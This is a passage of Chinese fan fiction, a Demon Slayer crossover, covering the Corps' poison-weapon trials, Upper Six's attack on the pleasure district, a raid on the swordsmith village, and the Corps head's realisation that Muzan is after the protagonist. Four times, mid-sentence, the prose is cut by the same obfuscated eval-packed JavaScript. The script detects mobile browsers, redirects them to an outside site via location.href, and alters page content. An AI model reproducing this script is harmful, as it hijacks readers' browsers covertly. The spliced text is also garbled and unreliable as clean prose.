他无法上前线,但他一定要为他的孩子们减少牺牲的可能性。鬼杀队对鬼舞辻无惨的研究太少,靠蝴蝶忍一个人也需要大量的时间来推进研究。但人才难得,像蝴蝶姐妹那样的人才并不多见,更何况是一片赤心,不会有其他想法的人才。 恶鬼和鬼杀队的存在并不值得被更多人知情,这是数百年来产屋敷主公都明白的道理。对永生的贪婪已经造成鬼舞辻无惨这样怪物的产生,一旦广为人知,不知道会不会诞生第二个鬼舞辻无惨。 要找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898140|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到熟悉恶鬼,甚至熟悉鬼舞辻无惨的医疗人才,产屋敷耀哉只想到一个人,不,一个鬼。一个在产屋敷家族典籍中就曾出现过的,名为珠世的鬼。 那名曾在几百年前与鬼杀队合作过,后继隐姓埋名,已经背叛过鬼舞辻无惨的近侍。几百年来,消失的珠世和鬼杀队就像两条平行线,互不干涉也互不合作。恶鬼和猎鬼者这一身份对立,也表明了二者之间并不存在彻彻底底的信任问题。 思考到这一层面,这封写给珠世小姐的信才迟迟未能落笔。要与珠世小姐合作,必须有她无法拒绝的利益,同时也要让其选择信任。 数百年来未曾联系合作的鬼杀队主公突如其来向自己示好,追求合作,论谁都无法相信,更何况合作。 产屋敷耀哉看着桌面上的信纸,良久,还是放下了笔。 还不到时候,要想合作,得先有接触,让珠世小姐有信任的前提。现在的拜访,太过操之过急了。 近些日子来,与沼田家族的合作让产屋敷耀哉有了很多情报,对于珠世小姐的近况,他从细枝末节中也找到了痕迹,现在要做的第一步,还是找好与珠世小姐接触的人选。 产屋敷耀哉轻抚桌面,鬼杀队现任十三名柱中,与鬼之间的隔阂最少的其实是甘露寺蜜璃和红诀,宇髓天元三人。宇髓天元正在花街执行任务,红诀也在忙于万世极乐教的追查。 思来想去,甘露寺蜜璃或许是和珠世小姐接触的最好人选。 确定好人选,产屋敷耀哉正想写信,却看到庭院之中悄然落地的鎹鸦。背着红色小背包的阿黑此刻昂首挺胸地走进产屋敷耀哉所在的屋子,对视上产屋敷耀哉的眼睛,它晃了晃自己的尾巴,转身把自己的小背包给产屋敷耀哉看。 “红诀的阿黑?” 没想到会见到红诀的鎹鸦,产屋敷耀哉嘴角微扬,他招了招手,让阿黑过来。动作轻柔地解下它身上的背包。 “这是红诀给你的吗?真不错,很称你呢,阿黑。” 听到产屋敷耀哉的称赞,阿黑的胸膛挺得更高。眼神带着几分炫耀挑衅地看着产屋敷耀哉的鎹鸦,围着紫色围巾的鎹鸦左看右看就是不看炫耀的阿黑。 没察觉两只鎹鸦之间的动静,产屋敷耀哉眉眼凝重地看着红诀带来的信件和瓷片。红诀在信中没有多言,只是三言两语告诉产屋敷耀哉瓷片的不对劲之处。对于红诀三人的猜测,产屋敷耀哉想得更多。 吉原,玉壶,童磨还有鬼舞辻无惨。 他的脑袋飞速运转,这几者之间存在联系,也就代表,鬼舞辻无惨有所行动了。他的目的是什么?削弱鬼杀队还是有别的打算。 看来,与珠世小姐的事情要先放在一边了。 轰隆一声,外边闪过一道闪电。伴随着雷鸣,淅淅沥沥的暴雨从天而降,鼓动的狂风一下吹灭产屋敷耀哉屋内的烛火,留下一片漆黑。 突然的天气变化就像在昭示着什么,风雨欲来的气息越来越浓。 71.少年与百毒系列 北面的山林里,红诀正和炼狱歇息在一颗大树下。 昨夜废弃小院后,不死川和他们便分开前往不同的调查地点,因炼狱和红诀同路,就一起走。等穿过这片丛林,他们俩也要分开前往不同的地点执行调查任务。 山林间,风雨过后的树林充斥着泥土的气味,潮湿的空气中带一阵清凉。吃着手里的干粮,红诀远远就瞧见了阿黑的身影。背着红色小背包的鎹鸦轻巧地落在红诀伸出的手臂上,它抖了抖了羽毛上沾上的露水,鸟喙一下又一下整理自己的羽毛。 解下阿黑身上的信件,红诀展开信纸仔细读了起来。一旁的炼狱见状,也凑了过来,等待红诀看完。 “主公大人怎么说?” “主公大人已经安排好了,会将人手分散在花街与这里中间,以备突发的局势变化。” 红诀看完了信,脸上浮现笑意,“至于我们,还是继续调查,不让上弦贰察觉不对。” “按棋不动,对吧。” 炼狱也从话中明白主公大人的用意,他们尚且还不知道上弦贰背后在搞什么阴谋,既不能捏着鼻子顺着他的意,也不能坐以待毙。 以身入局才能破局。 知晓后续的任务安排,炼狱心中也松了口气,近些日子来调查的焦躁也减轻不少。他看着又打开一封信的红诀,察觉他脸上止不住的笑意和欣喜,不由得开口询问。 “有什么喜事吗?” “喜事,的确是件大喜事。”红诀扬了扬自己手中的信纸,“之前负责的毒素武器研究有了很大的进展。” 在和沼田见面之后,毒素武器的研究展开就在锻刀村的全村努力之下顺利进行。忙于其他调查任务的红诀只是偶尔会去关注,联系的铁洞井峰岩也时不时写信告诉红诀研究的进展。 有了沼田的武器渠道,再加上足够的毒素核心,铁洞井峰岩他们可是大刀阔斧地进行武器改造起来。阿黑带来的另外一封信,便是铁洞井峰岩所写的。 信中,铁洞井峰岩欣喜地告诉红诀,毒素武器的成品已经完成。试用的结果非常不错,多亏了因修复日轮刀而在锻刀村逗留的霞柱时透和蛇柱伊黑,试用的进程非常顺利。原本铁洞井峰岩还想写信让红诀去锻刀村一遭推动试用的进行。 但没等他写信联系红诀,就碰上了时透无一郎。红诀负责的毒素武器研究在柱合会议上已经有过说明,时透无一郎也知情,得知成果他也非常高兴。知道铁洞井峰岩需要试用的人手,在锻刀村等待修复日轮刀刚好无事的他便主动申请来充当试用的对象。 不擅长武力的匠人们很难找到恶鬼去试验武器,有霞柱的帮忙,铁洞井峰岩兴奋不已,迫不及待便带着时透去看研究成果。 几人找了锻刀村附近一个废弃村庄,时透还跑去周围抓来了好几个恶鬼,捆在一起不让他们逃跑。在铁洞井峰岩等人兴奋的注视下,几个小白鼠恶鬼就这么享受到了毒素武器的第一次试用。 不过铁洞井峰岩往武器内投放的火药太多,一不小心动静闹得太多。几个小白鼠被火药冲击轰成碎片,毒素的成效没看到,只看到了武器的攻击力。 当时的时透无一郎在爆炸前还带着几分期待,等火光过后,看着黑漆漆的狼藉地面,他那双绿眸死鱼眼地看着还在拍手叫好的铁洞井峰岩等人。 接着毫不温柔地将兴奋的众人都批了一顿。 “你们要拿这样的成果给红诀看吗?” “毒素的成效呢?” “这不就是炸药吗?” 没有起伏的语气配上时透平静的死鱼眼,第一次体会到时透毒舌功力的铁洞井峰岩心头重击,没想到原本礼貌温和的霞柱大人会如此毒舌。 看着并不强壮但气势惊人的霞柱,铁洞井峰岩一个大粗汉唯唯诺诺地承认自己在制造武器的时候太过兴奋,一不小心加多了火药。 听得一旁的村长汗颜,内心小声吐槽。 你那叫太过兴奋,简直疯魔。 什么再加!都给我死! 铁洞井峰岩当初加火药那边加边笑的癫狂模样可是吓退了屋内的所有人。 这样,在时透的痛批下,百毒1.0试验失败。 要说时透逗留锻刀村是巧合,蛇柱伊黑去往锻刀村就只是被百毒1.0试验的动静吸引了。原本在锻刀村附近执行任务的伊黑被时透和铁洞井峰岩等人试验武器的动静吓了一跳,以为锻刀村遇袭了。跑到试验地点才发现是时透他们搞的动静,只是虚惊一场。 后续,在霞柱和蛇柱的围观下,铁洞井峰岩减少了火药的使用,将毒素扩散作为武器的第一目的。通宵两天后,百毒2.0也诞生了。 这回,在时透和伊黑的见证下,百毒2.0的爆炸效果并没有1.0那么大,爆炸过后,看着被捆在中央吐着白沫昏迷,完全丧失行动能力的小白鼠恶鬼,两人点了点头。 这回对味了。 得到两名柱的认同,铁洞井峰岩就马不停蹄写信告诉红诀成果,还附上了武器的图纸,现在第一批武器成品已经装载在锻刀村周边,正式开启它们的守卫生涯。对1.0的爆炸效果不死心的铁洞井峰岩还在信中表示,要是锻刀村来袭,可以先用百毒2.0进行昏迷震慑,再用1.0进行爆破。 看着红诀哭笑不得,他将信中的情况都和炼狱说了。炼狱也是忍俊不禁,“铁洞井先生,还真是对爆炸有着格外的执着呢。” 闻言,红诀想起当初给他日轮刀时说起改造滔滔不绝的铁洞井峰岩,也点了点头,当初怎么没发现铁洞井先生对爆炸如此执着呢。 上回灶门家一事后,红诀的双拐也被掩埋在坍塌的无限城中。虽然铁洞井峰岩抽空到蝶屋送了新的双拐,但当他得知红诀后半程全靠拳头干架后,他的自尊心受到了打击。还拍着胸膛信誓旦旦说会给红诀设计新的武器。 想起还没有结果的新武器,红诀看着手中的信纸突然有种不详的感觉。 铁洞井先生,应该不会在我的武器上加火药吧…… ***** 另一边,白天的吉原花街,昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903057|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜的热闹喧嚣已然过去,大街上店铺紧闭,鲜少有人走动。 时任屋,紫藤的房间内。 香奈惠已经换下了昨夜繁琐的花魁装扮,一旁的蝴蝶忍也卸下了脸上的伪装,恢复以往的容貌。没等两人说话,几只壮硕的老鼠吱吱叫地从屋内的一个角落冒了出来。 老鼠浑身都有壮硕的肌肉,头上还有宇髓天元同款头带,正是宇髓天元的忍鼠,负责花街内几人的联络,毕竟鎹鸦太过显眼了。 “姐姐,是宇髓先生的消息吗?” 蝴蝶忍看着接过信件的香奈惠,关心地问。从昨夜游街回来,她一直记挂着昨夜香奈惠中途的反常,虽然香奈惠说没事,在游街结束后她也有去打探当时停留的位置。 那个地方,刚好是京极屋花魁堕姬的楼下。她原本正想拜托在京极屋的雏鹤小姐打探下昨夜的消息的,没想到宇髓的忍鼠先过来了。 “嗯,是宇髓先生的消息,不过是主公大人的信件。”香奈惠看着手中的信件眉头轻皱,产屋敷耀哉在收到红诀消息后便改变了布局。玉壶的巧合他也及时联系到了花街外围的宇髓天元,让远在花街探查的蝴蝶香奈惠等人注意小心防范。 几下看完信件内容,香奈惠将如今的情况告诉了蝴蝶忍。在听到远在北方调查上弦贰的红诀他们发现了与玉壶有关的碎片时,蝴蝶忍的神情也凝重起来。 她没想到这两个任务还会联系起来。 蝴蝶忍正色:“姐姐,你昨晚是不是发现了什么不对劲的地方?” 闻言,香奈惠也知道瞒不住自家妹妹,但昨夜的那道视线只是她的直觉,她也不知道会发生什么。她斟酌了一下,简言把当时的感觉告诉了蝴蝶忍。 “视线?” “这本来是莫须有的事情,我也不知道该不该在意了。” 香奈惠抚着自己的头无奈地说,看着妹妹担心的样子,她又伸手捏了捏蝴蝶忍的脸,“别担心了,只能小心为上了。对了,之前你和红诀负责的毒素武器研究有了进展了。” “铁洞井先生给你写了信,还寄来了武器。” 铁洞井峰岩在武器成功之后便给了红诀和蝴蝶忍以及沼田都写了信,因着蝶屋的关系,铁洞井峰岩还给蝴蝶忍寄了百毒3.0版本,百毒3.0是在2.0基础上的改良,不像2.0的范围大,只是较为小型。 蝶屋是病人修养的地方,考虑到这一点,铁洞井峰岩才对百毒进一步进行改良,成就3.0版本。 “百毒3.0?” “是啊,但铁洞井先生好像不知道你在执行任务,没把东西直接寄往蝶屋,而是寄到了宇髓天元这里。” 闻言,蝴蝶忍倒是扬起了笑容,“来得正好,如果这里会发生什么意外,百毒3.0正好发挥作用。” 她自己研究的毒素核心她自己了解,百毒系列本就建立在对普通人无害而对恶鬼有致命伤害的基础上研究的。蝴蝶忍看着铁洞井峰岩寄来的武器设计图,看着图若有所思。 要不要再加些料呢? 72.少年与花街 吉原花街,京极屋内。 换下艺伎打扮的雏鹤正坐在梳妆镜前,她将自己黑色的长发理顺梳成高马尾,紫色的双眸看着镜中人干练的模样,眼神是坚定和鼓励。 昨夜的时任屋花魁游街她没有出去,借着热闹的隐蔽在探查京极屋。在京极屋快要半年了,她已经将京极屋大部分情况都摸透,只有京极屋的花魁堕姬,她到现在都没能潜入她所在的房间。 堕姬虽然貌美,但在京极屋的名声并不太好。她的脾气不好,对于侍女的态度也很恶劣。雏鹤有几次和她同处在一个房间内,也见证了那些女孩子是怎么被欺负的。 有着惊人美貌的堕姬对侍女下手毫不留情,很多侍女都不想在她身边陪侍。昨夜她本想借着热闹去探查堕姬的房间,但没等她靠近,自家的忍鼠就挡在自己前面连连摇头。 昏暗的长廊内,位于走廊尽头的堕姬房间正散发着灯光,纸门上倒映着几个绰约的人影。 堕姬的房间内,不止她一个。 雏鹤没想到堕姬今夜还有客人,她看着自己与堕姬房间之间还有很长一段距离,心想现在并不是好的打探时机,她没再前行,而是退回自己的房间。 在自己房间呆了一夜,现在正是白天,京极屋内的大多人都在休息,如果能进入堕姬房间,则是再好不过了。 做下决定的她将自己的忍具都带着身上,身手敏捷地消失在自己的房间,朝堕姬的房间潜行而去。 而在京极屋的地下百米处,无数粉色绸带盘绕在山洞内部,左右交缠,犹如蛛丝洞一般。绸带的下方是无数未经掩埋的白骨,隐约之间,光滑的绸带上面还有人影。 在山洞的正中央,白发绿眸的堕姬手捧着血肉模糊的人类血肉,一口接一口地吞食进肚,她的身侧还有一截断掉的绸带和残破的衣物。 吞咽声不断响起,正当堕姬沉浸在进食中时,一道佝偻的身影出现在她的身后。 来者是一个有着藻绿色头发的男人,他的头发乱糟糟的,上半身几乎没有血肉,薄薄的肌肤包裹着骨骼,整个人奇异又可怖。 他的眼眸轻抬,金色的眼眸中是和堕姬一模一样的上弦陆字样。 “哥哥。” 察觉背后男人的出现,堕姬进食的动作一顿,没有回头喊了男人一声。 男人名叫妓夫太郎,是堕姬还在人类时期的哥哥,两人一同被上弦贰童磨转变成恶鬼,在数百年时间成为上弦之陆。不同在京极屋当花魁的堕姬,妓夫太郎一直隐藏在堕姬的体内或者影子之中,没有丝毫存在感。 “梅。有老鼠要潜入你的房间了。”妓夫太郎看着背对着自己的妹妹,一直潜藏在黑暗中的他比堕姬更能察觉吉原花街内部的变化。 昨夜童磨和玉壶在时,他并没有出现,因为觉得没什么必要,他不在意上弦之间的排位和纠纷,他只要能好好保护自己的妹妹就行。昨夜他也注意到了屋内三人没能注意到的东西,当时若是雏鹤再往前一步,妓夫太郎就会出现在她的身后。 妓夫太郎不在意那个黑发紫眸的女人是什么人。但如今看来,她想要潜入堕姬的房间,怕是和鬼杀队脱不了干系。 “老鼠?是那个雏鹤吗?”闻言,堕姬丢下吃剩的血肉,她的眼神中并没有意外,被血染红的唇十分惹眼。 “哥哥,看来童磨大人说的收网要提前了。” “知道了,紫藤那边交给我,剩下三个你来。” “交给我吧。” 话落,山洞中的绸带飞速变化,几条粉色的绸带飞舞着穿透地面,目标直取位于堕姬房间内的雏鹤,无声无息来到雏鹤的身后。昏暗的房间内,正和忍鼠一起搜寻堕姬房间的雏鹤背后一凉,不详的预感涌至心头。 背后有什么东西!? 伴随着忍鼠的一声尖叫,雏鹤整个人被绸带牢牢包裹,粉色绸带犹如毒蛇,一点点缠绕在雏鹤身上,感受到自己的视线和呼吸被一层层绸带掠夺,雏鹤瞪大双眼,她奋力丢下手中紧攥的苦无,将沾着自己血液的苦无丢在忍鼠身边。 快去通知宇髓大人和蝴蝶大人! 同一时间,时任屋的须磨,荻本屋的牧绪,都被悄然出现的粉色绸带带走,绸带出现快速而无声,片刻掠过,没留下一点踪迹。 绸带带走人的瞬间,妓夫太郎也无声无息来到了时任屋紫藤的房间外。昏暗的长廊内,突然出现的妓夫太郎没引起任何人的注意,他看着眼前紧闭的房门,眼神平静无波。 他的手缓慢抬起,下一瞬,被血肉包裹的血镰便出现在他的手上。 “血鬼术,飞血镰。” 伴随着低语,妓夫太郎的血镰上出现小瀑布一般的血液,无数的血色飞镰伴随在其周围,他的手指轻轻一挥,无数飞镰裹挟着剧毒,密不透风地席卷到紫藤的房间。 轰地一声巨响,时任屋爆发剧烈的动静,霎时间房屋倒塌,尘土飞扬。被惊醒的众人纷纷跑到大街上,看出被毁坏的时任屋张大着嘴巴,惊魂未定。 “发生了什么事情?” “时任屋怎么了?” “那是紫藤花魁的房间!” “有没有人受伤!” 讨论声和尖叫声渐起,巨大的动静引来了整个花街的关注。 在巨响响起的同一时间,在花街的外围的宇髓天元正拿着铁洞井峰岩寄来的百毒3.0,突然心头一慌,手中的武器也一个没拿稳落到地上。突如其来的不详预感,让他猛地抬头看向花街内部。 远处尘土飞扬,时任屋突兀出现的大口格外显目。宇髓天元一个跃身来到屋顶,看着陷入一片混乱的花街错愕地开口—— “发生了什么?蝴蝶……” 在混乱的背景声中,几只忍鼠叽叽喳喳地出现在宇髓天元身边,看见其中一只忍鼠身上的沾血苦无,宇髓天元瞳孔一缩。 这是雏鹤的苦无,花街发生了什么事情了! “雏鹤,须磨,牧绪……” 宇髓天元握紧自己的手心,他眼神一凛,飞速往花街赶去。 时任屋内,突如而来的袭击将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914509|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香奈惠的房间毁于一旦,待尘土过去,屋内的一切却不如妓夫太郎所料。 只见,废墟之中,还没换回鬼杀队打扮的蝴蝶姐妹手持日轮刀并肩而站,身上有些细碎的伤口,但那血色飞镰的攻击都被格挡开来,两人周围都是飞镰划破地面屋顶的痕迹。 啪啦一声,两个针筒被丢到地面。 在袭击来临的前一刻,香奈惠率先反应过来,她和蝴蝶忍都在飞镰到来的之前将日轮刀握在手上,及时出鞘和抵挡,让她们不会在这突然的攻击下受伤。 蝴蝶忍更是在被血镰划破身体的瞬间便意识到血镰上所携带的毒素,当机立断地将以红诀血样为核心制成的舒缓药剂注射到自己和香奈惠体内。 看着眼前并无大碍的蝴蝶姐妹,妓夫太郎诧异地开口—— “实力还行,没想到除了紫藤这个花柱外,还有另外一个。” 他看向比香奈惠更为小巧的蝴蝶忍,察觉到她与香奈惠相似的面容,他轻笑一声,“你们,是姐妹吧。” “童磨的消息也有了纰漏,他居然没发现紫藤身边还有另外一个鬼杀队的。” “一个,两个,还有另外三个。”妓夫太郎的声音沙哑起伏,带着奇怪的韵调。 “这花街的虫子真不是一般的多。” 他微抬着脸,包含上弦陆字样的金色双眸向蝴蝶姐妹昭示了他的身份。 闻言,蝴蝶姐妹手里的刀紧了紧,嘴唇微抿,严阵以待。眼前的恶鬼短短几句话之间已经告知了不少坏消息。 没想到这花街居然还潜藏着上弦陆,还有他提到了童磨?童磨的踪迹不应该是红诀追查的北方吗? 难道上弦贰也在这里? 她们和宇髓天元本就是追查玉壶而来的,而现在出现在花街不是玉壶而是上弦陆和童磨,那玉壶呢?他在不在花街? 蝴蝶香奈惠和蝴蝶忍对视一眼,心底都感到了棘手。 还有‘另外三个’?说的是雏鹤小姐她们吗? 香奈惠眼角余光看向与自己同在时任屋的须磨房间,妓夫太郎的突然袭击带来的动静太大。但须磨小姐到现在都没有出来。 不妙,她们是遇袭了吗? 没等蝴蝶姐妹理清这里面到底发生什么事情,妓夫太郎的攻击便随之而来,来势汹汹的血镰像编织的巨网,密不通风地朝姐妹二人袭来。 “花之呼吸,贰之型,御梅影!” “虫之呼吸·蜂牙之舞·真曳!” 香奈惠向四面挥舞出带着梅花花瓣的刀光,将血网瓦解了大半,与此同时,小巧的蝴蝶忍在刀光中高速移动,手中的日轮刀几番旋转。 在姐妹二人默契的配合中,香奈惠不断掩护妹妹蝴蝶忍,蝴蝶忍高速的刺击一下便在刀光缝隙中击中妓夫太郎。 扑哧一声,妓夫太郎瞪大眼睛看着突然出现在自己身前的蝴蝶忍,感受到伤口处传来剧烈的疼痛,同样擅长使用毒素的他一下便明白了眼前这名小巧少女刀尖的危害。 这个女人,也会用毒! 73.少年与危机 在花街发生战斗时,蝴蝶姐妹疑心的童磨并没有出现在花街内。 距离花街不远的小镇上,童磨正坐于室内,此时已近傍晚,外头的夕阳已经西斜。他的眼睛透过窗外看向花街的方向,一旁的玉壶正叽叽喳喳地说些什么。 “堕姬那边已经开始行动了。”比起昨夜在花街的壶身,童磨身旁的玉壶又换了一个花色,瓷器表面的花纹犹如血肉一般狰狞盘旋,但模样比昨夜要更小一些,也没有展露真身。依旧不对称的壶身正发出玉壶的声音,他在花街留下的壶身是他的另外一双眼睛,此刻正一字不落地转达着花街发生的一切。 “比预想中要提前不少呢。” “妓夫太郎去找你所说的花柱了,哦~还有另外一个女人。”没显现真身的玉壶语气起伏强烈,带着一种看热闹不嫌事大的感觉。 闻言,童磨始终没有反应,手里的铁扇有一下没一下地砸在手心中央。 安静的室内,只有玉壶起伏的声音。 玉壶的话说个不停,与之相比,一直没有说话的童磨则是过于安静,突然,玉壶的声音一顿,语气里带着几分趣味,“堕姬那里还有一个柱呢,真是高大的男人,是叫音柱来着。” “两个柱?” “准确来说是三个。那个花柱身边的女人意外是个用毒高手了,看那身手,甲级及以上没准了。两人在妓夫太郎的攻势下还有几分抵抗的实力。” 边说着,玉壶还想操纵分身再凑近点查看细节,不料却被音柱和堕姬的战斗波及到。只见玉壶话音未落,突然发出一声咒骂,“可恶,堕姬怎么没解决这三个虫子!” 玉壶的咒骂声不断,他在花街的分身已经被雏鹤三人发现,留存的眼睛也被摧毁。失去了看热闹的渠道,玉壶显而易见地生气起来。 三个。 从昨夜游街时看到香奈惠的不妙预感终于成真,不理会玉壶的咒骂,童磨抚着自己的下巴。宇髓天元和蝴蝶忍出现在花街是他意想不到的情况。他没想到小小的花街会引来三名柱的关注,看来,当初选择花街是个错误的决定。 堕姬和妓夫太郎什么时候引起了鬼杀队的注意,引来如此多关注的目光。 见童磨迟迟不说话,同样熟知全盘计划的玉壶也懂童磨在想什么,他的情绪转化极快,“花街已经不行了,我这边会继续行动,你怎么说,要去花街再添把火?” “你顺着计划来。”童磨将手中的铁扇合上,起身走到窗边看着已经沉下来的天色,“我会过去,必须要将鬼杀队的人手困在这里才行。” 闻言,玉壶大笑起来,在尖利刺耳的笑声中,他留在童磨身边的玉壶发生一阵剧烈的抖动,原本带着狰狞的玉壶在抖动回归平静,像是变成了一个平凡普通的工艺品。 “好戏要开始喽。” 他难听的声音回荡在空荡的室内,粘腻又带着鱼腥味的味道也消失殆尽。见玉壶已经离开,童磨也放下了捂着自己鼻子的铁扇,拿起教徒所奉上的香囊深吸一口,缓解玉壶留下的味道。 好戏,要开始了。 ***** 另一边,产屋敷宅邸。 一向安静的产屋敷宅邸从下午开始便充斥着忙碌和凝重,来来往往的鎹鸦不断飞入产屋敷耀哉所在的道场,留下一封封加急的信件。 看着眼前摆成一排的信件,产屋敷耀哉眉头紧锁,花街遇袭的情报已经送到了他的手里,虽然早就做好准备,但花街出现上弦陆的情报并不算个好消息。 与蝴蝶香奈惠一样,产屋敷耀哉没想到他们所知道的上弦贰和玉壶都没出现在花街,最先冒出来的居然是一开始没想追查的上弦陆。 上弦之陆居然还是双生鬼。 产屋敷耀哉不知道鬼舞辻无惨的安排中,玉壶和童磨是不是还潜藏在花街。从收到消息的那一刻,他早先安排的恋柱甘露寺蜜璃已经往吉原赶去。因为不知道有没有后手,他所准备的另一手牌迟迟没有亮相。 他总感觉,鬼舞辻无惨的真正意图不是花街,他的意图究竟是什么? 花街的动静越大,只会吸引更多的鬼杀队员往那里赶去,这会不会是鬼舞辻无惨的调虎离山…… 种种考虑飞快在产屋敷耀哉的脑里转动,现在花街已经有三名柱在场,为提防玉壶和童磨的出现,甘露寺蜜璃也在往那边赶去,无论如何,不能再派遣其他柱过去了。 他看着桌面上摆着的地图,病弱的手指在写满标记的地图上滑动,最后,指尖停留在红诀三人所在的北方,那里与花街的位置相差甚远,如果要从花街赶到北边,或者从北边赶到花街至少需要一夜的脚程。 童磨和玉壶,究竟藏在哪里? 正当产屋敷耀哉沉浸在思考中时,一封急件突然被送入室内。送信的鎹鸦气喘吁吁地落地,没等站稳就连声大喊—— “锻刀村遇袭!锻刀村遇袭!” “玉壶出现在锻刀村!” 闻言,产屋敷耀哉停在地图上的手指猛地一抖,看向地图上压根没有想到的锻刀村位置握紧了拳头。 “怎么会是哪里!” 锻刀村的位置鲜少有人知道,为何会在这个时候成为交战的中心点之一。产屋敷耀哉心神不定,他回想着自己的布局。 锻刀村,锻刀村附近的话,有时透和伊黑。 “传信给霞柱和蛇柱,让他们立马去锻刀村支援!” 为了应对鬼舞辻无惨未知的举动,产屋敷耀哉将十三名柱都分散开来,彼此之间的距离和位置都有考虑到。原本在锻刀村等待日轮刀修复的时透也是昨日才启程前往所安排的地点。 不知道来不来得及…… 花街的遇袭,因有着蝴蝶姐妹和宇髓天元的提前调查,短暂防住了上弦陆这一手。然而,锻刀村都是匠人,靠村外的巡逻剑士,根本无法阻止十二鬼月的攻击。 玉壶……他怎么会在锻刀村! 是夜,距离花街遇袭已经过了四个小时,就在花街吸引注意的三个小时后,远在另外一边,与世隔绝的锻刀村遇到了第二次袭击。 看着眼前的局势,强烈的不安感正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929910|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一点点坠在产屋敷耀哉的心头。先是花街,再是锻刀村,十三柱中已有六柱被困于战局。 但还没有结束,鬼舞辻无惨的真正目的还没有暴露出来。 必须抢先一步才行,他的下一步会下在哪里? 空旷的道场内,产屋敷耀哉死死盯着眼前所有情报和地图,眼前一阵发白,高速的思考之间,他察觉耳边的一切声响都离他远去。模糊之间,他的思绪回到了灶门家一战之后,当时他和产屋敷天音去探望还未苏醒的红诀。 那天的天气很好,和煦的阳光透过玻璃窗照射在蝶屋的长廊地板上,驱散了蝶屋中消毒水的味道。 在锖兔和义勇的病房中,他看着锖兔和义勇,当时和鬼舞辻无惨交战后的锖兔和义勇都受伤不轻,两人都缠着密密麻麻的绷带。 他记得,当时的话题是,最后红诀是如何消灭鸣女的。 “当我看到鬼舞辻无惨想要拖着红诀一起掉入那空间之城时,我的心脏差点就停止跳动了。”锖兔抚着胸口后怕地说,“好在红诀敢拼,居然还趁机解决掉操作空间之城的琵琶女,他的脑袋转得可真快……” “鬼舞辻无惨拖着红诀……”思绪猛地回笼,产屋敷耀哉死死按着自己的头,不断低喃着刚刚想起的对话。 对了,为什么当时没有想到鬼舞辻无惨拖着红诀掉入那空间之城的原因,是因为注意力都在后面的消灭鸣女的话题上吗? 鬼舞辻无惨这么做一定是有原因的,削弱牵制鬼杀队的其他战力,迟迟未曾出现的上弦贰,这所有的布局绝不止分散战力逐个击破这么简单,鬼舞辻无惨几百年来都未曾主动出手阻击鬼杀队,偏偏这时候出手布局,他肯定有什么想要的东西。 产屋敷耀哉看着地图上与其他人相隔甚远的北方,终于明白鬼舞辻无惨的最终布局点在那里了。 他的目的——可能是红诀! 明白布局的这一刻,产屋敷耀哉猛地看向红诀三人所在的北方。 另一边,与吉原相隔深远的北方,万里无云的夜空之下,正在擦拭双拐的红诀似乎心有所感地抬头望天,原本和马尔巴士的对话也突然戛然而止。 [发生什么事了吗?]没听到红诀的回答,马尔巴士疑惑地问。他和红诀原本在讨论魔神之力的使用问题,之前马尔巴士所研究的那个远距离的契约转化方法已经被他拆分了几部分,刚刚和红诀所聊的便是其中一部分的魔纹。 只是这小子突然停顿四处张望,发生什么事情了吗? 蓝色魔神可看到的视野很狭窄,他挤在世界缝隙之上,想要看清红诀周围的一切。 红诀摸了摸自己后颈的发麻的肌肤,[暂时还发生什么事情,只是突然有一种不好的预感。] 闻言,马尔巴士拍了拍胸口,[我新学了占星之术,让我借助真实之眼一探究竟。] 红诀听着马尔巴士那边乒乒乓乓的声音,之前他怎么不知道马尔巴士还学了占星之术呢? [搞定,我看看结果阿。] [唔。居然是大凶!] 74.少年与袭击 寂静无人的郊外,红诀看着眼前的篝火,火光在他白皙的脸上跃动着。 [大凶?] 他在内心重复着马尔巴士的占卜结果。 [唔,的确是大凶。]处于自己宫殿内的蓝色魔神看着自己桌上的占卜结果,神色也开始沉重起来。 他没想到自己心血来潮的占卜结果,还搞出了个大凶出来。 